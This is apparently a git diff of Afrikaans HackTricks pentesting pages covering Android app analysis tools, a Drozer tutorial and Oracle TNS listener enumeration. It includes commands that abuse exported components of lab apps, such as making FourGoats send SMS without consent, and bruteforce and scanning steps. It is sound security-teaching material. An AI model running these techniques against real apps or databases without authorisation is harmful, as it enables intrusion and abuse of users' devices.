Wanneer http-verkeer vasgelê word, kan jy 'n lelike aansig van die vasgelê verkeer sien op die "**HTTP(S) Traffic**" onderkant of 'n mooier aansig in "**Begin HTTPTools**" groen onderkant. Van die tweede opsie af, kan jy die **vasgelê versoek** na **proksi's** soos Burp of Owasp ZAP **stuur**.\
|
||||
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Stuur na Fuzzer**" --> _kies die proksi-adres_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Stuur na Fuzzer**" --> _kies die proksi-adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Nadat jy die dinamiese analise met MobSF voltooi het, kan jy op "**Begin Web API Fuzzer**" druk om http-versoeke te **fuzz** en kwesbaarhede te soek.
|
||||
|
||||
{% hint style="info" %}
|
||||
Na die uitvoering van 'n dinamiese analise met MobSF kan die proksi-instellings verkeerd geconfigureer wees en sal jy dit nie van die GUI kan regstel nie. Jy kan die proksi-instellings regstel deur die volgende te doen:
|
||||
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -657,12 +683,14 @@ Dit is 'n **uitstekende instrument om statiese analise met 'n GUI** uit te voer
|
|||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Hierdie instrument is ontwerp om te soek na verskeie **sekuriteitsverwante Android-toepassingskwesbaarhede**, of in **bronkode** of **verpakte APK's**. Die instrument is ook **in staat om 'n "Proof-of-Concept" implementeerbare APK** en **ADB-opdragte** te skep, om van die gevonde kwesbaarhede te misbruik (Blootgestelde aktiwiteite, bedoelings, tapjacking...). Soos met Drozer, is daar geen behoefte om die toestel te root nie.
|
||||
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
qark --java path/to/parent/java/folder
|
||||
qark --java path/to/specific/java/file.java
|
||||
```
|
||||
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* Wys alle onttrekte lêers vir maklike verwysing
|
||||
|
@ -671,9 +699,11 @@ qark --java path/to/specific/java/file.java
|
|||
* Statische bronkode-analise vir algemene kwesbaarhede en gedrag
|
||||
* Toestelinligting
|
||||
* en meer
|
||||
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekompresseer en 'n reeks reels toe te pas om daardie kwesbaarhede op te spoor.
|
||||
|
@ -681,9 +711,11 @@ SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan wo
|
|||
Alle reels is gesentreer in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reels skep om te analiseer wat hulle nodig het.
|
||||
|
||||
Laai die nuutste bineêre lêers af van die [aflaaiblad](https://superanalyzer.rocks/download.html)
|
||||
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
|
||||
### [StaCoAn](https://github.com/vincentcox/StaCoAn)
|
||||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
@ -693,17 +725,21 @@ StaCoAn is 'n **kruisplatform**-werktuig wat ontwikkelaars, foutbeloningsjagters
|
|||
Die konsep is dat jy jou mobiele aansoeklêer (‘n .apk of .ipa lêer) na die StaCoAn-toepassing sleep en laat dit ‘n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om ‘n aangepaste ervaring te kry.
|
||||
|
||||
Laai die [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases) af:
|
||||
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Framework is 'n Android kwesbaarheidsanalise-sisteem wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android-toepassings te vind.\
|
||||
[Windows vrystellings](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
```
|
||||
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** is 'n instrument met die hoofdoel om potensiële skadelike gedrag wat deur 'n Android-toepassing ontwikkel is, op te spoor en die gebruiker te waarsku.
|
||||
|
@ -711,10 +747,12 @@ androbugs.exe -f [APK file]
|
|||
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik-bytekode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
|
||||
Hierdie instrument soek na **algemene gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders wat uitlek, Klank-/videovloei onderskepping, PIM-data-wysiging, Willekeurige kode-uitvoering...
|
||||
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
### [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework)
|
||||
|
||||
### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework)
|
||||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
|
@ -723,7 +761,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
Dit is in staat om:
|
||||
|
||||
* Java en Smali kode te onttrek met verskillende gereedskap
|
||||
* APK's te analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* APK's te analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Privaat inligting uit die APK te onttrek deur regexps te gebruik.
|
||||
* Die Manifest te analiseer.
|
||||
* Gevonde domeine te analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Drozer Tutoriaal
|
||||
# Drozer Tutorial
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -25,60 +25,70 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (van mrwlabs)
|
||||
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||
|
||||
|
||||
**Dele van hierdie tutoriaal is onttrek uit die [Drozer-dokumentasie pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf).**
|
||||
**Dele van hierdie tutoriaal is onttrek uit die** [**Drozer-dokumentasie pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
|
||||
|
||||
## Installasie
|
||||
|
||||
Installeer Drozer Client binne jou gasheer. Laai dit af van die [nuutste vrystellings](https://github.com/mwrlabs/drozer/releases).
|
||||
|
||||
```bash
|
||||
pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
pip install service_identity
|
||||
```
|
||||
|
||||
Laai die drozer APK af en installeer dit vanaf die [nuutste vrystellings](https://github.com/mwrlabs/drozer/releases). Op hierdie oomblik is dit [hierdie](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
|
||||
```bash
|
||||
adb install drozer.apk
|
||||
```
|
||||
|
||||
### Begin die Bediener
|
||||
|
||||
Agent loop op poort 31415, ons moet [poort deurstuur](https://af.wikipedia.org/wiki/Poort_deurstuur) om die kommunikasie tussen die Drozer-kliënt en Agent te vestig, hier is die opdrag om dit te doen:
|
||||
Agent loop op poort 31415, ons moet [poort deurstuur](https://af.wikipedia.org/wiki/Poort\_deurstuur) om die kommunikasie tussen die Drozer-kliënt en Agent te vestig, hier is die opdrag om dit te doen:
|
||||
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
|
||||
Uiteindelik, **begin** die **toepassing** en druk die "**ON**" knoppie
|
||||
|
||||
![](<../../../.gitbook/assets/image (63).png>)
|
||||
|
||||
En maak daarmee verbinding:
|
||||
|
||||
```bash
|
||||
drozer console connect
|
||||
```
|
||||
|
||||
## Interessante Opdragte
|
||||
|
||||
| **Opdragte** | **Beskrywing** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Toon die hulp van die gekose module |
|
||||
| **lys** | Toon 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Hierdie verberg modules waarvoor jy nie die nodige toestemmings het om uit te voer nie. |
|
||||
| **shell** | Begin 'n interaktiewe Linux-skulp op die toestel, in die konteks van die Agent. |
|
||||
| **skoon** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor word. |
|
||||
| **laai** | Laai 'n lêer wat drozer-opdragte bevat en voer hulle in volgorde uit. |
|
||||
| **module** | Vind en installeer addisionele drozer-modules van die internet. |
|
||||
| **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skulpe wat dit skep, oordra. |
|
||||
| **stel** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skulpe wat deur drozer geskep word, oorgedra sal word. |
|
||||
| **shell** | Begin 'n interaktiewe Linux-skulp op die toestel, in die konteks van die Agent |
|
||||
| **run MODULE** | Voer 'n drozer-module uit |
|
||||
| **exploit** | Drozer kan exploits skep om in die toestel uit te voer. `drozer exploit list` |
|
||||
| **payload** | Die exploits benodig 'n payload. `drozer payload list` |
|
||||
| **Opdragte** | **Beskrywing** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Toon die hulp van die gekose module |
|
||||
| **lys** | Toon 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Hierdie verberg modules waarvoor jy nie die nodige toestemmings het om uit te voer nie. |
|
||||
| **shell** | Begin 'n interaktiewe Linux-skulp op die toestel, in die konteks van die Agent. |
|
||||
| **skoon** | Verwyder tydelike lêers wat deur drozer op die Android-toestel gestoor word. |
|
||||
| **laai** | Laai 'n lêer wat drozer-opdragte bevat en voer hulle in volgorde uit. |
|
||||
| **module** | Vind en installeer addisionele drozer-modules van die internet. |
|
||||
| **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skulpe wat dit skep, oordra. |
|
||||
| **stel** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skulpe wat deur drozer geskep word, oorgedra sal word. |
|
||||
| **shell** | Begin 'n interaktiewe Linux-skulp op die toestel, in die konteks van die Agent |
|
||||
| **run MODULE** | Voer 'n drozer-module uit |
|
||||
| **exploit** | Drozer kan exploits skep om in die toestel uit te voer. `drozer exploit list` |
|
||||
| **payload** | Die exploits benodig 'n payload. `drozer payload list` |
|
||||
|
||||
### Pakket
|
||||
|
||||
Vind die **naam** van die pakket deur te filtreer op 'n deel van die naam:
|
||||
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
```
|
||||
|
||||
**Basiese Inligting** van die pakkie:
|
||||
|
||||
```bash
|
||||
dz> run app.package.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
|
@ -98,11 +108,15 @@ Defines Permissions:
|
|||
- com.mwr.example.sieve.READ_KEYS
|
||||
- com.mwr.example.sieve.WRITE_KEYS
|
||||
```
|
||||
|
||||
Lees **Manifest**:
|
||||
|
||||
```bash
|
||||
run app.package.manifest jakhar.aseem.diva
|
||||
```
|
||||
|
||||
**Aanvalsvlak** van die pakket:
|
||||
|
||||
```bash
|
||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||
Attack Surface:
|
||||
|
@ -112,6 +126,7 @@ Attack Surface:
|
|||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
|
||||
* **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n sekere soort outorisasie om dit te begin, omseil wat jou behoort te verhoed om dit te begin.
|
||||
* **Inhoudsverskaffers**: Miskien kan jy toegang verkry tot private data of 'n sekere kwesbaarheid uitbuit (SQL-injeksie of Padtraversal).
|
||||
* **Dienste**:
|
||||
|
@ -120,10 +135,12 @@ is debuggable
|
|||
### Aktiwiteite
|
||||
|
||||
Die "android:exported" waarde van 'n uitgevoerde aktiwiteitskomponent is ingestel op **"true"** in die AndroidManifest.xml-lêer:
|
||||
|
||||
```markup
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
|
||||
**Lys uitgevoerde aktiwiteite**:
|
||||
|
||||
Om die uitgevoerde aktiwiteite in 'n lysformaat te sien, kan jy die volgende stappe volg:
|
||||
|
@ -142,6 +159,7 @@ com.example.app/.SettingsActivity
|
|||
```
|
||||
|
||||
Hierdie lys toon die pakketname en aktiwiteitsname van die uitgevoerde aktiwiteite in die toepassing.
|
||||
|
||||
```bash
|
||||
dz> run app.activity.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
|
@ -149,6 +167,7 @@ com.mwr.example.sieve.FileSelectActivity
|
|||
com.mwr.example.sieve.MainLoginActivity
|
||||
com.mwr.example.sieve.PWList
|
||||
```
|
||||
|
||||
**Begin aktiwiteit**:
|
||||
|
||||
Miskien kan jy 'n aktiwiteit begin en 'n soort van outorisering omseil wat jou moet verhoed om dit te begin.
|
||||
|
@ -163,9 +182,11 @@ Jy kan ook 'n uitgevoerde aktiwiteit vanaf **adb** begin:
|
|||
|
||||
* Pakketnaam is com.example.demo
|
||||
* Uitgevoerde aktiwiteitnaam is com.example.test.MainActivity
|
||||
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
||||
### Inhoudbieders
|
||||
|
||||
Hierdie pos was te groot om hier te wees, so **jy kan** [**daarop toegang kry op sy eie bladsy hier**](exploiting-content-providers.md).
|
||||
|
@ -185,6 +206,7 @@ Binne die kode **kyk** vir die \*\*`handleMessage`\*\*funksie wat die **boodskap
|
|||
![](<../../../.gitbook/assets/image (194).png>)
|
||||
|
||||
#### Lysdiens
|
||||
|
||||
```bash
|
||||
dz> run app.service.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
|
@ -193,16 +215,19 @@ Permission: null
|
|||
com.mwr.example.sieve.CryptoService
|
||||
Permission: null
|
||||
```
|
||||
|
||||
#### **Interaksie** met 'n diens
|
||||
|
||||
To interact with a service, you need to use the `run` command in drozer. This command allows you to execute various modules and actions against the target application.
|
||||
|
||||
Om met 'n diens te interaksieer, moet jy die `run`-opdrag in drozer gebruik. Hierdie opdrag stel jou in staat om verskeie modules en aksies teen die teikentoepassing uit te voer.
|
||||
|
||||
```bash
|
||||
app.service.send Send a Message to a service, and display the reply
|
||||
app.service.start Start Service
|
||||
app.service.stop Stop Service
|
||||
```
|
||||
|
||||
#### Voorbeeld
|
||||
|
||||
Neem 'n kykie na die **drozer** hulp vir `app.service.send`:
|
||||
|
@ -218,9 +243,11 @@ In die volgende voorbeeld:
|
|||
* `arg1 == 9234`
|
||||
* `arg2 == 1`
|
||||
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||||
|
||||
```bash
|
||||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (195).png>)
|
||||
|
||||
### Uitsaai-Ontvangers
|
||||
|
@ -230,33 +257,34 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
|||
Nadat jy hierdie Uitsaai-Ontvangers ontdek het, moet jy **die kode nagaan**. Gee spesiale aandag aan die **`onReceive`** funksie, aangesien dit die ontvangste boodskappe sal hanteer.
|
||||
|
||||
#### **Ontdek alle** uitsaai-ontvangers
|
||||
|
||||
```bash
|
||||
run app.broadcast.info #Detects all
|
||||
```
|
||||
|
||||
#### Kontroleer uitsaai-ontvangers van 'n app
|
||||
|
||||
Om die uitsaai-ontvangers van 'n Android-app te kontroleer, kan jy die volgende stappe volg:
|
||||
|
||||
1. Installeer en begin drozer op jou toestel.
|
||||
2. Verbind met die toestel deur die `connect`-bevel te gebruik.
|
||||
3. Voer die volgende bevel in om 'n lys van alle geïnstalleerde pakkette op die toestel te kry:
|
||||
|
||||
```
|
||||
run app.package.list -f
|
||||
```
|
||||
3. Voer die volgende bevel in om 'n lys van alle geïnstalleerde pakkette op die toestel te kry:
|
||||
|
||||
```
|
||||
run app.package.list -f
|
||||
```
|
||||
4. Identifiseer die pakketnaam van die app wat jy wil ondersoek.
|
||||
5. Voer die volgende bevel in om 'n lys van alle uitsaai-ontvangers van die app te kry:
|
||||
5. Voer die volgende bevel in om 'n lys van alle uitsaai-ontvangers van die app te kry:
|
||||
|
||||
```
|
||||
run app.broadcast.info -a <pakketnaam>
|
||||
```
|
||||
```
|
||||
run app.broadcast.info -a <pakketnaam>
|
||||
```
|
||||
|
||||
Vervang `<pakketnaam>` met die werklike pakketnaam van die app.
|
||||
|
||||
Vervang `<pakketnaam>` met die werklike pakketnaam van die app.
|
||||
6. Jy sal 'n lys van uitsaai-ontvangers sien wat deur die app gebruik word, tesame met hul besonderhede soos die ontvangerklas en die uitsaai-intentfilters.
|
||||
|
||||
Deur hierdie stappe te volg, kan jy die uitsaai-ontvangers van 'n Android-app ondersoek en relevante inligting verkry.
|
||||
|
||||
```bash
|
||||
#Check one negative
|
||||
run app.broadcast.info -a jakhar.aseem.diva
|
||||
|
@ -277,12 +305,15 @@ Permission: null
|
|||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||||
Permission: null
|
||||
```
|
||||
|
||||
#### Uitsaai **Interaksies**
|
||||
|
||||
```bash
|
||||
app.broadcast.info Get information about broadcast receivers
|
||||
app.broadcast.send Send broadcast using an intent
|
||||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||||
```
|
||||
|
||||
#### Stuur 'n boodskap
|
||||
|
||||
In hierdie voorbeeld misbruik die [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Inhoudsverskaffer kan jy **'n willekeurige SMS stuur** na enige nie-premium bestemming **sonder om** die gebruiker om toestemming te vra.
|
||||
|
@ -292,25 +323,31 @@ In hierdie voorbeeld misbruik die [FourGoats apk](https://github.com/linkedin/qa
|
|||
![](<../../../.gitbook/assets/image (197) (1).png>)
|
||||
|
||||
As jy die kode lees, moet die parameters "_phoneNumber_" en "_message_" na die Inhoudsverskaffer gestuur word.
|
||||
|
||||
```bash
|
||||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||||
```
|
||||
|
||||
### Is debugeerbaar
|
||||
|
||||
'n Produksie APK moet nooit debugeerbaar wees nie. Dit beteken dat jy 'n Java debugeerder kan koppel aan die lopende toepassing, dit in uitvoertyd kan ondersoek, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs kan verander. [InfoSec-instituut het 'n uitstekende artikel](../exploiting-a-debuggeable-application.md) oor dieper graafwerk wanneer jou toepassing debugeerbaar is en in uitvoertyd kode inspuit.
|
||||
'n Produksie APK moet nooit debugeerbaar wees nie. Dit beteken dat jy 'n Java debugeerder kan koppel aan die lopende toepassing, dit in uitvoertyd kan ondersoek, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs kan verander. [InfoSec-instituut het 'n uitstekende artikel](https://github.com/carlospolop/hacktricks/blob/af/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-application.md) oor dieper graafwerk wanneer jou toepassing debugeerbaar is en in uitvoertyd kode inspuit.
|
||||
|
||||
Wanneer 'n toepassing debugeerbaar is, sal dit in die manifest verskyn:
|
||||
|
||||
```xml
|
||||
<application theme="@2131296387" debuggable="true"
|
||||
```
|
||||
|
||||
Jy kan al die toepassings wat gedebug kan word met **Drozer** vind:
|
||||
|
||||
```bash
|
||||
run app.package.debuggable
|
||||
```
|
||||
|
||||
## Tutoriale
|
||||
|
||||
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||||
* [https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||||
* [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||||
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
||||
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
||||
|
||||
|
@ -333,7 +370,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,89 @@
|
|||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Oracle-databasis (Oracle DB) is 'n relasionele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Wanneer jy Oracle ondersoek, is die eerste stap om met die TNS-luisteraar te praat wat gewoonlik op die verstekpoort (1521/TCP) is (jy kan ook sekondêre luisteraars op 1522-1529 kry).
|
||||
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
|
||||
## Opsomming
|
||||
|
||||
1. **Weergawe-opsomming**: Identifiseer weergaweinligting om na bekende kwesbaarhede te soek.
|
||||
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie tot stand te bring.
|
||||
3. **SID Naam Opsomming/Bruteforce**: Ontdek databasisname (SID).
|
||||
4. **Legitimasie Bruteforce**: Probeer toegang verkry tot ontdekte SID.
|
||||
5. **Kode-uitvoering**: Probeer kode op die stelsel uitvoer.
|
||||
|
||||
Om die MSF-orakelmodules te gebruik, moet u sekere afhanklikhede installeer: [**Installasie**](https://github.com/carlospolop/hacktricks/blob/af/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Plasings
|
||||
|
||||
Kyk na hierdie plasings:
|
||||
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
